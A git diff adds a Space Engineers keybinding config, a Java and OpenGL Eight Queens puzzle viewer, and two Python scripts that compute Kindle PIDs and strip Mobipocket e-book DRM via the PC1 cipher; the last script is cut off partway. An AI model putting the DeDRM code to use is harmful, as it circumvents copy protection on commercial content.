diff --git a/src/Configs/Space Engineers (Play on Linux).cfg b/src/Configs/Space Engineers (Play on Linux).cfg new file mode 100644 index 0000000..9251052 --- /dev/null +++ b/src/Configs/Space Engineers (Play on Linux).cfg @@ -0,0 +1,1683 @@ +๏ปฟ + + + + VideoAdapter + 0 + + + ScreenWidth + 1920 + + + ScreenHeight + 1080 + + + WindowMode + 1 + + + VerticalSync + False + + + HardwareCursor + True + + + RenderQuality + 1 + + + FieldOfView + 60 + + + RefreshRate + 30 + + + MusicVolume + 0.2327422 + + + GameVolume + 0.3185938 + + + DebugInputs + + + + + + Language + 0 + + + ControlsGeneral + + + + mouseXIsInverted + False + + + mouseYIsInverted + False + + + mouseSensitivity + 1.655 + + + joystickInstanceName + + + joystickSensitivity + 2 + + + joystickExponent + 2 + + + joystickDeadzone + 0.2 + + + + + + ControlsButtons + + + + FORWARD + + + + Keyboard + W + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + None + + + + + + BACKWARD + + + + Keyboard + S + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + None + + + + + + STRAFE_LEFT + + + + Keyboard + A + + + Keyboard2 + None + + + Mouse + None + + + Joystick + JDLeft + + + JoystickAxis + None + + + + + + STRAFE_RIGHT + + + + Keyboard + D + + + Keyboard2 + None + + + Mouse + None + + + Joystick + JDRight + + + JoystickAxis + None + + + + + + ROLL_LEFT + + + + Keyboard + Q + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + None + + + + + + ROLL_RIGHT + + + + Keyboard + E + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + None + + + + + + SPRINT + + + + Keyboard + LeftShift + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + None + + + + + + PRIMARY_TOOL_ACTION + + + + Keyboard + LeftControl + + + Keyboard2 + None + + + Mouse + Left + + + Joystick + J01 + + + JoystickAxis + None + + + + + + SECONDARY_TOOL_ACTION + + + + Keyboard + None + + + Keyboard2 + None + + + Mouse + Right + + + Joystick + J02 + + + JoystickAxis + None + + + + + + JUMP + + + + Keyboard + Space + + + Keyboard2 + F + + + Mouse + None + + + Joystick + JDUp + + + JoystickAxis + None + + + + + + CROUCH + + + + Keyboard + C + + + Keyboard2 + None + + + Mouse + None + + + Joystick + JDDown + + + JoystickAxis + None + + + + + + USE + + + + Keyboard + T + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + None + + + + + + TERMINAL + + + + Keyboard + K + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + None + + + + + + HELP_SCREEN + + + + Keyboard + F1 + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + None + + + + + + ROTATION_LEFT + + + + Keyboard + Left + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + JXAxis- + + + + + + ROTATION_RIGHT + + + + Keyboard + Right + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + JXAxis+ + + + + + + ROTATION_UP + + + + Keyboard + Up + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + JYAxis- + + + + + + ROTATION_DOWN + + + + Keyboard + Down + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + JYAxis+ + + + + + + HEADLIGHTS + + + + Keyboard + L + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + None + + + + + + SCREENSHOT + + + + Keyboard + F4 + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + None + + + + + + LOOKAROUND + + + + Keyboard + LeftAlt + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + None + + + + + + SWITCH_LEFT + + + + Keyboard + OemOpenBrackets + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + None + + + + + + SWITCH_RIGHT + + + + Keyboard + OemCloseBrackets + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + None + + + + + + CUBE_COLOR_CHANGE + + + + Keyboard + None + + + Keyboard2 + None + + + Mouse + Middle + + + Joystick + None + + + JoystickAxis + None + + + + + + TOGGLE_REACTORS + + + + Keyboard + Y + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + None + + + + + + BUILD_SCREEN + + + + Keyboard + G + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + None + + + + + + CUBE_ROTATE_VERTICAL_POSITIVE + + + + Keyboard + PageDown + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + None + + + + + + CUBE_ROTATE_VERTICAL_NEGATIVE + + + + Keyboard + Delete + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + None + + + + + + CUBE_ROTATE_HORISONTAL_POSITIVE + + + + Keyboard + Home + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + None + + + + + + CUBE_ROTATE_HORISONTAL_NEGATIVE + + + + Keyboard + End + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + None + + + + + + CUBE_ROTATE_ROLL_POSITIVE + + + + Keyboard + Insert + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + None + + + + + + CUBE_ROTATE_ROLL_NEGATIVE + + + + Keyboard + PageUp + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + None + + + + + + SYMMETRY_SWITCH + + + + Keyboard + M + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + None + + + + + + USE_SYMMETRY + + + + Keyboard + N + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + None + + + + + + SLOT1 + + + + Keyboard + D1 + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + None + + + + + + SLOT2 + + + + Keyboard + D2 + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + None + + + + + + SLOT3 + + + + Keyboard + D3 + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + None + + + + + + SLOT4 + + + + Keyboard + D4 + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + None + + + + + + SLOT5 + + + + Keyboard + D5 + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + None + + + + + + SLOT6 + + + + Keyboard + D6 + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + None + + + + + + SLOT7 + + + + Keyboard + D7 + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + None + + + + + + SLOT8 + + + + Keyboard + D8 + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + None + + + + + + SLOT9 + + + + Keyboard + D9 + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + None + + + + + + SLOT0 + + + + Keyboard + D0 + + + Keyboard2 + OemTilde + + + Mouse + None + + + Joystick + None + + + JoystickAxis + None + + + + + + TOGGLE_HUD + + + + Keyboard + Tab + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + None + + + + + + DAMPING + + + + Keyboard + Z + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + None + + + + + + THRUSTS + + + + Keyboard + X + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + None + + + + + + CAMERA_MODE + + + + Keyboard + V + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + None + + + + + + CHAT_SCREEN + + + + Keyboard + Enter + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + None + + + + + + SUICIDE + + + + Keyboard + Back + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + None + + + + + + LANDING_GEAR + + + + Keyboard + P + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + None + + + + + + INVENTORY + + + + Keyboard + I + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + None + + + + + + PAUSE_GAME + + + + Keyboard + Pause + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + None + + + + + + SPECTATOR_NONE + + + + Keyboard + F6 + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + None + + + + + + SPECTATOR_DELTA + + + + Keyboard + F7 + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + None + + + + + + SPECTATOR_FREE + + + + Keyboard + F8 + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + None + + + + + + SPECTATOR_STATIC + + + + Keyboard + F9 + + + Keyboard2 + None + + + Mouse + None + + + Joystick + None + + + JoystickAxis + None + + + + + + + + + CubeBuilderBuildingMode + 0 + + + ControlsHints + True + + + RotationHints + True + + + ShowCrosshair + True + + + DisableHeadbob + True + + + CompressSaveGames + False + + + ShowPlayerNamesOnHud + True + + + NeedShowTutorialQuestion + False + + + GraphicsRenderer + DirectX 9 + + + TutorialsFinished + + + + FirstTimeRun + False + + + diff --git a/src/Images/Raid Types.png b/src/Images/Raid Types.png new file mode 100644 index 0000000..57cbc1e Binary files /dev/null and b/src/Images/Raid Types.png differ diff --git a/src/Images/Vbscript Msgbox Chart Numbers.Jpg b/src/Images/Vbscript Msgbox Chart Numbers.Jpg new file mode 100755 index 0000000..c4d8dda Binary files /dev/null and b/src/Images/Vbscript Msgbox Chart Numbers.Jpg differ diff --git a/src/Java/Cool_Reference_Projects/Eightqueens/EightQueensPuzzle_Linux.jar b/src/Java/Cool_Reference_Projects/Eightqueens/EightQueensPuzzle_Linux.jar new file mode 100644 index 0000000..88ce72c Binary files /dev/null and b/src/Java/Cool_Reference_Projects/Eightqueens/EightQueensPuzzle_Linux.jar differ diff --git a/src/Java/Cool_Reference_Projects/Eightqueens/EightQueensPuzzle_OSX.jar b/src/Java/Cool_Reference_Projects/Eightqueens/EightQueensPuzzle_OSX.jar new file mode 100644 index 0000000..22a9881 Binary files /dev/null and b/src/Java/Cool_Reference_Projects/Eightqueens/EightQueensPuzzle_OSX.jar differ diff --git a/src/Java/Cool_Reference_Projects/Eightqueens/eightqueens/Algorithm.java b/src/Java/Cool_Reference_Projects/Eightqueens/eightqueens/Algorithm.java new file mode 100644 index 0000000..256d87c --- /dev/null +++ b/src/Java/Cool_Reference_Projects/Eightqueens/eightqueens/Algorithm.java @@ -0,0 +1,102 @@ +package eightqueens; + +import java.util.Arrays; +import java.util.Random; + +public class Algorithm +{ + + public final int[] lines; + + private final Random random; + private final int width, height; + private final int numQueens; + + public int firstOffsetX = 0; + + public Algorithm(int width, int height) + { + this.width = width; + this.height = height; + + numQueens = Math.min(width, height); + lines = new int[height]; + Arrays.fill(lines, -1); + + random = new Random(); + } + + public void calculate(int firstX, int firstY) + { + calculate(0, firstX, firstY); + } + + private boolean calculate(int row, int firstX, int firstY) + { + // We've reached the bottom of the board + if (row >= numQueens) + { + return true; + } + int seed = random.nextInt(width); + // Loop through the x positions + for (int i = 0; i < width; i++) + { + // Use the seed to create random x values, but only if we are not in the first row, + // so that the first queen's position doesn't change + int x = row == 0 ? i : (i + seed) % width; + + // If this position is free, place the queen here + if (isFree(x, row, firstX, firstY)) + { + lines[row] = x; + // If the puzzle is solvable for the remaining rows return true, + // else go to the next column + if (calculate(row + 1, firstX, firstY)) + { + return true; + } else + { + if (row == 0) + { + firstOffsetX++; + } + lines[row] = -1; + } + } + + } + // We've not found a solution, so return false + return false; + } + + private boolean isFree(int x, int y, int firstX, int firstY) + { + for (int row = 0; row < height; row++) + { + if (row == y || lines[row] == -1) + { + continue; + } + // If there is a queen above or below, return false + if (lines[row] == x) + { + return false; + } + + // Check diagonals + int xx = (x + firstX) % width; + int yy = (y + firstY) % height; + int rrow = (row + firstY) % height; + int heightDifference = Math.abs(rrow - yy); + int widthDifference = Math.abs(((lines[row] + firstX) % width) - xx); + if (widthDifference == heightDifference) + { + return false; + } + + } + return true; + } + +} diff --git a/src/Java/Cool_Reference_Projects/Eightqueens/eightqueens/EightQueens.java b/src/Java/Cool_Reference_Projects/Eightqueens/eightqueens/EightQueens.java new file mode 100644 index 0000000..cf3a6ea --- /dev/null +++ b/src/Java/Cool_Reference_Projects/Eightqueens/eightqueens/EightQueens.java @@ -0,0 +1,328 @@ +package eightqueens; + +import javax.swing.JOptionPane; + +import com.rr.Application; +import com.rr.Mouse; +import com.rr.RunConfiguration; +import com.rr.Screen; +import com.rr.core.FBO; +import com.rr.core.Shader; +import com.rr.core.Texture; +import com.rr.core.VAO.DrawMode; +import com.rr.entity.PerspectiveCamera; +import com.rr.graphics.GLState; +import com.rr.graphics.p3d.Model; +import com.rr.math.Calc; +import com.rr.math.Color4; +import com.rr.math.Matrix4; +import com.rr.math.Quaternion; +import com.rr.math.Vector2i; +import com.rr.math.Vector3; +import com.rr.res.Resource; +import com.rr.util.Ray; + +public class EightQueens extends Application +{ + + private static final int WIDTH = 1280; + private static final int HEIGHT = 720; + + private static final float BOARD_HEIGHT = 0.0f; + private static final float SENSITIVITY = 10.0f; + + private Queen[] queens; + private Texture boardTexture; + private Texture boardHeightmap; + private Model boardFrame; + private Model boardTop; + + private FBO queensFBO; + private Texture queensFBOTexture; + + private Shader shader; + private Matrix4 projection; + private float cameraDistance; + private float cameraHeight; + private float cameraRotation; + private float lerpedCameraRot; + private float lerpedCameraHeight; + private float lerpedCameraDistance; + + private int lastMouseX, lastMouseY; + + private Algorithm algorithm; + private int firstX, firstY; + private int boardWidth, boardHeight; + private boolean firstSet = false; + private Thread spawner; + + @Override + protected void initApp() + { + + try + { + boardWidth = Integer.parseInt(JOptionPane.showInputDialog("Enter the chess board size (must be even!):")); + boardHeight = boardWidth; + } catch (Exception e) + { + JOptionPane.showMessageDialog(null, "Input must be an integer greater than 0."); + System.exit(-1); + } + + queens = new Queen[Math.min(boardWidth, boardHeight)]; + + if (boardWidth <= 3 || boardHeight <= 3) + { + JOptionPane.showMessageDialog(null, "Board size must be bigger than 3 for the puzzle to be solvable."); + System.exit(-1); + } + if (boardWidth % 2 == 1 || boardHeight % 2 == 1) + { + JOptionPane.showMessageDialog(null, "Board size must be even."); + System.exit(-1); + } + + JOptionPane.showMessageDialog(null, "Click on a field to set the first queen's position."); + + algorithm = new Algorithm(boardWidth, boardHeight); + + } + + @Override + public void create() + { + GLState.setDepth(true); + GLState.setCulling(true); + GLState.setMultisample(true); + GLState.setClearColor(Color4.BLACK); + + boardTexture = Resource.internal.getTexture("/eightqueens/board.png"); + boardTexture.setTextureFilter(true, false); + boardHeightmap = Resource.internal.getTexture("/eightqueens/boardHeight.png"); + boardHeightmap.setTextureFilter(true, false); + boardFrame = Resource.internal.getModel("/eightqueens/boardFrame.obj").createModel(); + boardTop = Resource.internal.getModel("/eightqueens/boardTop.obj").createModel(); + shader = Resource.internal.getShader("/eightqueens/diffuse"); + projection = Matrix4.perspective(50.0f, 16.0f / 9.0f, 0.1f, 1000.0f); + cameraDistance = 20.0f * Math.max(boardWidth, boardHeight) / 8.0f; + cameraHeight = 40.0f; + cameraRotation = 0.0f; + + lastMouseX = Mouse.getX(); + lastMouseY = Mouse.getY(); + + Queen.init(); + + shader.start(); + shader.set("projection", projection); + + queensFBO = new FBO(WIDTH, HEIGHT); + queensFBO.bind(); + queensFBOTexture = queensFBO.addColorAttachmentTexture(0); + queensFBOTexture.setTextureFilter(true, false); + queensFBO.setDepthAttachmentTexture(); + queensFBO.setDepthBuffer(false); + + } + + @Override + public void fixedUpdate(float dt) + { + int mouseDX = Mouse.getX() - lastMouseX; + int mouseDY = Mouse.getY() - lastMouseY; + lastMouseX = Mouse.getX(); + lastMouseY = Mouse.getY(); + + if (firstSet) + { + cameraDistance -= Mouse.getWheel() * 0.04f; + cameraDistance = Math.max(cameraDistance, 5.0f); + cameraDistance = Math.min(cameraDistance, Math.max(boardWidth, boardHeight) * 10.0f); + + if (Mouse.isButtonDown(0)) + { + cameraRotation -= mouseDX * dt * SENSITIVITY; + cameraHeight -= mouseDY * dt * SENSITIVITY; + } + } + + cameraHeight = Math.max(cameraHeight, -20.0f); + cameraHeight = Math.min(cameraHeight, 88.0f); + + lerpedCameraRot = Calc.interpolateLinear(lerpedCameraRot, cameraRotation, 8.0f * dt); + lerpedCameraHeight = Calc.interpolateLinear(lerpedCameraHeight, cameraHeight, 8.0f * dt); + lerpedCameraDistance = Calc.interpolateLinear(lerpedCameraDistance, cameraDistance, 4.0f * dt); + } + + @Override + public void update(float dt) + { + if (Mouse.isButtonReleased(0) && !firstSet) + { + + Matrix4 cameraM = new Matrix4(); + cameraM.translate(0, 0, lerpedCameraDistance); + cameraM.rotate(Vector3.RIGHT, lerpedCameraHeight); + cameraM.rotate(Vector3.UP, lerpedCameraRot); + + PerspectiveCamera camera = new PerspectiveCamera(50.0f, 0.1f, 100.0f); + camera.transform.setPosition(cameraM.getTranslation()); + camera.transform.setRotation(cameraM.getRotation()); + Ray ray = camera.screenPointToRay(new Vector2i(Mouse.getX(), Mouse.getY())); + + Vector3 position = ray.origin.rotate(Quaternion.fromEulerAngles(lerpedCameraHeight, lerpedCameraRot, 0)); + Vector3 direction = ray.direction; + float distance = -position.y / direction.y; + Vector3 cursorPosition = new Vector3(position.x + distance * direction.x, position.y + distance * direction.y, position.z + distance * direction.z); + + firstX = (int) (0.5f * (cursorPosition.x + boardWidth)); + firstY = (int) (0.5f * (cursorPosition.z + boardHeight)); + + firstX = Math.max(firstX, 0); + firstX = Math.min(firstX, boardWidth - 1); + + firstY = Math.max(firstY, 0); + firstY = Math.min(firstY, boardHeight - 1); + + firstSet = true; + + algorithm.calculate(firstX, firstY); + + spawner = new Thread() + { + @Override + public void run() + { + // Wrap around + for (int y = 0; y < boardHeight; y++) + { + int x = algorithm.lines[y]; + int wrappedX = (x + firstX - algorithm.firstOffsetX) % boardWidth; + int wrappedY = (y + firstY) % boardHeight; + if (y >= Math.min(boardWidth, boardHeight)) + { + break; + } + spawnQueen(wrappedX, wrappedY, y, y == 0); + + try + { + Thread.sleep(y == 0 ? 1000 : 200); + } catch (InterruptedException e) + { + e.printStackTrace(); + } + } + } + }; + + spawner.start(); + } + + for (int i = 0; i < queens.length; i++) + { + if (queens[i] == null) + { + continue; + } + Queen q = queens[i]; + if (q.position.y != BOARD_HEIGHT) + { + q.dy += dt * -9.81f; + if (q.position.y + q.dy < BOARD_HEIGHT) + { + q.position.y = BOARD_HEIGHT; + q.dy = 0.0f; + } else + { + q.position.y += q.dy; + } + } + } + } + + @Override + public void render(float dt) + { + // Camera rotation + Matrix4 view = new Matrix4(); + + Texture.unbind(); + queensFBO.bind(); + Screen.clear(); + + view.rotate(Vector3.RIGHT, -lerpedCameraHeight); + view.rotate(Vector3.UP, -lerpedCameraRot); + view.translate(0, 0, -lerpedCameraDistance); + shader.set("view", view); + shader.set("tex", 0); + + Queen.begin(); + for (int i = 0; i < queens.length; i++) + { + if (queens[i] != null) + { + queens[i].render(shader); + } + } + + FBO.unbind(); + + view.setIdentity(); + view.rotate(Vector3.RIGHT, lerpedCameraHeight); + view.rotate(Vector3.UP, -lerpedCameraRot); + view.translate(0, 0, -lerpedCameraDistance); + shader.set("view", view); + + Queen.begin(); + for (int i = 0; i < queens.length; i++) + { + if (queens[i] != null) + { + queens[i].render(shader); + } + } + + FBO.unbind(); + + boardTexture.bind(0); + + shader.set("model", Matrix4.fromScale(boardWidth / 8, 1, boardWidth / 8)); + boardFrame.getVAO().bind(); + boardFrame.getVAO().enableAttribs(); + boardFrame.getVAO().draw(DrawMode.TRIANGLES, boardFrame.getTriCount(), 0); + + boardHeightmap.bind(1); + shader.set("heights", 1); + queensFBOTexture.bind(2); + shader.set("reflection", 2); + + shader.set("model", Matrix4.fromScale(boardWidth / 2, 1, boardHeight / 2).set(3, 3, 1.0023f)); + boardTop.getVAO().bind(); + boardTop.getVAO().enableAttribs(); + boardTop.getVAO().draw(DrawMode.TRIANGLES, boardTop.getTriCount(), 0); + } + + private void spawnQueen(int x, int z, int index, boolean first) + { + Vector3 newPosition = new Vector3((x - boardWidth / 2.0f + 0.5f) * 2, 10.0f, (z - boardHeight / 2.0f + 0.5f) * 2); + Queen queen = new Queen(newPosition, first); + queens[index] = queen; + } + + public static void main(String[] args) + { + RunConfiguration config = new RunConfiguration(); + config.context.versionMajor = 3; + config.context.versionMinor = 3; + config.samples = 8; + config.screenWidth = WIDTH; + config.screenHeight = HEIGHT; + config.windowTitle = "The Eight Queens Puzzle"; + config.fpsCap = 120; + Application.run(config, EightQueens.class); + } + +} diff --git a/src/Java/Cool_Reference_Projects/Eightqueens/eightqueens/Queen.java b/src/Java/Cool_Reference_Projects/Eightqueens/eightqueens/Queen.java new file mode 100644 index 0000000..e47085c --- /dev/null +++ b/src/Java/Cool_Reference_Projects/Eightqueens/eightqueens/Queen.java @@ -0,0 +1,63 @@ +package eightqueens; + +import com.rr.core.Shader; +import com.rr.core.Texture; +import com.rr.core.VAO.DrawMode; +import com.rr.graphics.p3d.Model; +import com.rr.math.Matrix4; +import com.rr.math.Vector3; +import com.rr.res.Resource; + +public class Queen +{ + + private static Model queenModel; + private static Texture queenTextureWhite; + private static Texture queenTextureBlack; + + private static boolean white = false; + + public static void init() + { + queenModel = Resource.internal.getModel("/eightqueens/queen.obj").createModel(); + queenTextureWhite = Resource.internal.getTexture("/eightqueens/queenWhite.png"); + queenTextureBlack = Resource.internal.getTexture("/eightqueens/queenBlack.png"); + } + + public final Vector3 position; + public float dy; + + private final boolean first; + + public Queen(Vector3 position, boolean first) + { + this.position = position; + this.dy = 0.0f; + this.first = first; + } + + public void render(Shader shader) + { + if (first) + { + queenTextureBlack.bind(0); + white = false; + } else if (!white) + { + queenTextureWhite.bind(0); + white = true; + } + shader.set("model", Matrix4.fromTranslation(position.x, position.y, position.z)); + queenModel.getVAO().draw(DrawMode.TRIANGLES, queenModel.getTriCount(), 0); + } + + public static void begin() + { + queenModel.getVAO().bind(); + queenModel.getVAO().enableAttribs(); + } + + public static void end() + {} + +} diff --git a/src/Java/Cool_Reference_Projects/Eightqueens/eightqueens/board.png b/src/Java/Cool_Reference_Projects/Eightqueens/eightqueens/board.png new file mode 100644 index 0000000..3ccf338 Binary files /dev/null and b/src/Java/Cool_Reference_Projects/Eightqueens/eightqueens/board.png differ diff --git a/src/Java/Cool_Reference_Projects/Eightqueens/eightqueens/boardHeight.png b/src/Java/Cool_Reference_Projects/Eightqueens/eightqueens/boardHeight.png new file mode 100644 index 0000000..d96bac8 Binary files /dev/null and b/src/Java/Cool_Reference_Projects/Eightqueens/eightqueens/boardHeight.png differ diff --git a/src/Java/Cool_Reference_Projects/Eightqueens/eightqueens/diffuse.fsh b/src/Java/Cool_Reference_Projects/Eightqueens/eightqueens/diffuse.fsh new file mode 100644 index 0000000..2fc21fa --- /dev/null +++ b/src/Java/Cool_Reference_Projects/Eightqueens/eightqueens/diffuse.fsh @@ -0,0 +1,50 @@ +#version 330 core + +in vec2 pUv; +in vec3 pNormal; +in vec3 pToLight; +in vec3 pToCamera; +in vec3 pSize; + +out vec4 color; + +uniform sampler2D tex; +uniform sampler2D reflection; +uniform sampler2D heights; + +void main(void) +{ + + vec2 uv = pUv; + if (pSize.z >= 1.002) + { + vec2 boardSize = pSize.xy / 4; + uv = mod(uv * boardSize, 1.0); + uv *= 0.96; + uv += 0.02; + } + + vec3 normal = normalize(pNormal); + vec3 toLight = normalize(pToLight); + vec3 toCamera = normalize(pToCamera); + + float lambert = max(dot(normalize(normal), normalize(toLight)), 0.2); + float specular = pow(max(dot(reflect(toLight, normal), toCamera), 0.0), 10.0) * 0.5; + + color = texture(tex, uv) * lambert + vec4(1.0) * specular; + + if (pSize.z >= 1.002) + { + float heightLeft = texture(heights, uv + vec2(-0.003, 0)).r; + float heightRight = texture(heights, uv + vec2(0.003, 0)).r; + float heightUp = texture(heights, uv + vec2(0, -0.003)).r; + float heightDown = texture(heights, uv + vec2(0, 0.003)).r; + vec3 nnormal = vec3(heightLeft - heightRight, 1.0, heightUp - heightDown); + + float fresnel = 1.0 - max(dot(-toCamera, normal), 0.0); + + vec4 reflectionColor = texture(reflection, gl_FragCoord.xy / vec2(1280.0, -720.0) + vec2(0, 1) + nnormal.xz * 0.1); + color = mix(color, reflectionColor, fresnel * 0.6 + 0.2); + } + +} \ No newline at end of file diff --git a/src/Java/Cool_Reference_Projects/Eightqueens/eightqueens/diffuse.vsh b/src/Java/Cool_Reference_Projects/Eightqueens/eightqueens/diffuse.vsh new file mode 100644 index 0000000..5cbd70d --- /dev/null +++ b/src/Java/Cool_Reference_Projects/Eightqueens/eightqueens/diffuse.vsh @@ -0,0 +1,28 @@ +#version 330 core + +layout (location = 0) in vec3 position; +layout (location = 1) in vec3 normal; +layout (location = 2) in vec2 uv; + +out vec2 pUv; +out vec3 pNormal; +out vec3 pToLight; +out vec3 pToCamera; +out vec3 pSize; + +uniform mat4 projection; +uniform mat4 view; +uniform mat4 model; + +void main(void) +{ + + pUv = uv; + pNormal = (view * vec4(normal, 0.0)).xyz; + pToLight = vec3(10.0, 2.0, 2.0) - (view * model * vec4(position, 1.0)).xyz; + pToCamera = vec3(view[3][0], view[3][1], view[3][2]) - (model * vec4(position, 1.0)).xyz; + pSize = vec3(model[0][0], model[2][2], model[3][3]); + + gl_Position = projection * view * model * vec4(position, 1.0); + +} \ No newline at end of file diff --git a/src/Java/Cool_Reference_Projects/Eightqueens/eightqueens/queenBlack.png b/src/Java/Cool_Reference_Projects/Eightqueens/eightqueens/queenBlack.png new file mode 100644 index 0000000..7181ac6 Binary files /dev/null and b/src/Java/Cool_Reference_Projects/Eightqueens/eightqueens/queenBlack.png differ diff --git a/src/Java/Cool_Reference_Projects/Eightqueens/eightqueens/queenWhite.png b/src/Java/Cool_Reference_Projects/Eightqueens/eightqueens/queenWhite.png new file mode 100644 index 0000000..9c94331 Binary files /dev/null and b/src/Java/Cool_Reference_Projects/Eightqueens/eightqueens/queenWhite.png differ diff --git a/src/Java/Cool_Reference_Projects/Mobi DeDRM/kindlepid.py b/src/Java/Cool_Reference_Projects/Mobi DeDRM/kindlepid.py new file mode 100644 index 0000000..70a3f35 --- /dev/null +++ b/src/Java/Cool_Reference_Projects/Mobi DeDRM/kindlepid.py @@ -0,0 +1,45 @@ +import sys, binascii + +letters = "ABCDEFGHIJKLMNPQRSTUVWXYZ123456789" + +def crc32(s): + return (~binascii.crc32(s,-1))&0xFFFFFFFF + +def checksumPid(s): + crc = crc32(s) + crc = crc ^ (crc >> 16) + res = s + l = len(letters) + for i in (0,1): + b = crc & 0xff + pos = (b // l) ^ (b % l) + res += letters[pos%l] + crc >>= 8 + + return res + + +def pidFromSerial(s, l): + crc = crc32(s) + + arr1 = [0]*l + for i in xrange(len(s)): + arr1[i%l] ^= ord(s[i]) + + crc_bytes = [crc >> 24 & 0xff, crc >> 16 & 0xff, crc >> 8 & 0xff, crc & 0xff] + for i in xrange(l): + arr1[i] ^= crc_bytes[i&3] + + pid = "" + for i in xrange(l): + b = arr1[i] & 0xff + pid+=letters[(b >> 7) + ((b >> 5 & 3) ^ (b & 0x1f))] + + return pid + +print "Mobipocket PID calculator for Amazon Kindle. Copyright (c) 2007 Igor Skochinsky " +if len(sys.argv)>1: + pid = pidFromSerial(sys.argv[1],7)+"*" + print "Mobipocked PID for Kindle serial# "+sys.argv[1]+" is "+checksumPid(pid) +else: + print "Usage: kindlepid.py " diff --git a/src/Java/Cool_Reference_Projects/Mobi DeDRM/mobidedrm.py b/src/Java/Cool_Reference_Projects/Mobi DeDRM/mobidedrm.py new file mode 100644 index 0000000..5814558 --- /dev/null +++ b/src/Java/Cool_Reference_Projects/Mobi DeDRM/mobidedrm.py @@ -0,0 +1,150 @@ +import sys,struct,binascii + +class DrmException(Exception): + pass + +#implementation of Pukall Cipher 1 +def PC1(key, src, decryption=True): + sum1 = 0; + sum2 = 0; + keyXorVal = 0; + if len(key)!=16: + print "Bad key length!" + return None + wkey = [] + for i in xrange(8): + wkey.append(ord(key[i*2])<<8 | ord(key[i*2+1])) + + dst = "" + for i in xrange(len(src)): + temp1 = 0; + byteXorVal = 0; + for j in xrange(8): + temp1 ^= wkey[j] + sum2 = (sum2+j)*20021 + sum1 + sum1 = (temp1*346)&0xFFFF + sum2 = (sum2+sum1)&0xFFFF + temp1 = (temp1*20021+1)&0xFFFF + byteXorVal ^= temp1 ^ sum2 + curByte = ord(src[i]) + if not decryption: + keyXorVal = curByte * 257; + curByte = ((curByte ^ (byteXorVal >> 8)) ^ byteXorVal) & 0xFF + if decryption: + keyXorVal = curByte * 257; + for j in xrange(8): + wkey[j] ^= keyXorVal; + dst+=chr(curByte) + return dst + +def checksumPid(s): + letters = "ABCDEFGHIJKLMNPQRSTUVWXYZ123456789" + crc = (~binascii.crc32(s,-1))&0xFFFFFFFF + crc = crc ^ (crc >> 16) + res = s + l = len(letters) + for i in (0,1): + b = crc & 0xff + pos = (b // l) ^ (b % l) + res += letters[pos%l] + crc >>= 8 + return res + +class DrmStripper: + def loadSection(self, section): + if (section + 1 == self.num_sections): + endoff = len(self.data_file) + else: + endoff = self.sections[section + 1][0] + off = self.sections[section][0] + return self.data_file[off:endoff] + + def patch(self, off, new): + self.data_file = self.data_file[:off] + new + self.data_file[off+len(new):] + + def patchSection(self, section, new, in_off = 0): + if (section + 1 == self.num_sections): + endoff = len(self.data_file) + else: + endoff = self.sections[section + 1][0] + off = self.sections[section][0] + assert off + in_off + len(new) <= endoff + self.patch(off + in_off, new) + 